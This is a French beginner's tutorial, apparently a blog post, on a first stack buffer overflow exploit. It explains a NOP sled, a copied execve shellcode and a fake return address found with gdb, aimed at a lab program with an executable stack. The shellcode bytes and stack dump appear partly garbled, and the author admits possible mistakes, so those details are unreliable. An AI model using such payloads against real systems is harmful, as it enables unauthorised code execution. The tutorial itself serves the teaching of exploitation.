Premier exploit

Premier exploit

Maintenant que vous avez vu comment modifier la sauvegarde d'EIP d'une fonction afin de jump à n'importe quelle adresse, on va voir comment faire lancer un shell au programme!

Théorie de l'exploit

Voici comment notre exploit se présentera: < nopsled > < shellcode > < fake ret addr >

Pas de panique je vais detailler tout ça, alors on va commencer par envoyer au programme nos nopsled (série d'instructions nop 0x90) qui consiste tout simplement à ne rien faire, et à passer à l'instruction suivante :p

Ensuite le **shellcode**, c'est tout simplement une suite d'instruction qui va nous permettre de lancer un shell

Et pour finir la <u>fake return address</u>, c'est juste une adresse qui tombe au milieu de nos <u>nopsled</u> (l'adresse qui va overwrite la sauvegarde d'EIP)

Pour récapituler le programme va jump au milieu de nos nopsled (la stack bouge constament c'est pour ça qu'on va jump la où se trouve nos nopsled au lieu de directement jump là où notre shellcode se trouve), ensuite vu que notre stack est executable elle va tout simplement passer à l'instructions suivante, jusqu'à tomber sur notre shellcode qui va nous lancer un superbe shell Oo

Pratique

Bon bah on va mettre tout ça en pratique :p

On va commencer par chercher sur internet un shellcode tout fait, je vais en prendre un sur shellstorm, "

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc
", parfait

Ensuite il faut calculer combien de NOP on doit mettre avant le shellcode, le tout doit faire 44 bytes (notre offset), le shellcode fait 23 bytes, on fait juste une petite soustraction, 44-23=21, on devra donc mettre 21 NOP avant le shellcode

Ensuite la fake return address, la partie la plus chiante, on va lancer notre programme dans gdb, lui envoyer tout nos nopsled, puis voir où ils se trouvent dans notre stack

Ducoup toujours sur gdb, on va lancer le programme en lui envoyant 44 NOPs, puis ensuite grace

à la commande x/50x \$esp-50 on va afficher 50 blocs de notre stack-50, (je vous invite à aller vous documenter à propos de gdb)

```
gef> r < (python -c 'print "\x90"*44')
gef ➤ x/50x $esp-50
0xffffcf1e:
                0x90900804
0xffffcf2e:
0xffffcf3e:
0xffffcf4e:
                0x40000804
                                                  0x0000f7fa
                                 0x4000f7fa
0xffffcf5e:
                0x0001f7dd
                                 0xcff40000
                                                  0xcffcffff
                                                                   0xcf84ffff
0xffffcf6e:
                0x0001ffff
                                                                   0x0000f7fa
0xffffcf7e:
                                 0x0000f7ff
                                                                   0x4000f7fa
```

On voit notre série de NOP à partir de la première adresse, vu que la stack bouge beaucoup on va prendre une adresse au milieu Oxffffcf2e me parait bien, on met ça en little endian ce qui va rendre "\x2e\xcf\xff\xff"

Mettons tout ça en action!

```
Exploit final: < 21 NOP > < shellcode > < \x2e\xcf\xff\xff >
```

Et voila le shell c'est bien executé! n'hesiter pas à me faire part de vos avis sur cet article, posez vos questions si il le faut, et dites moi si j'ai fais des erreurs, ce qui est fort probable (ce domaine reste pas celui que je maitrise le mieux :p)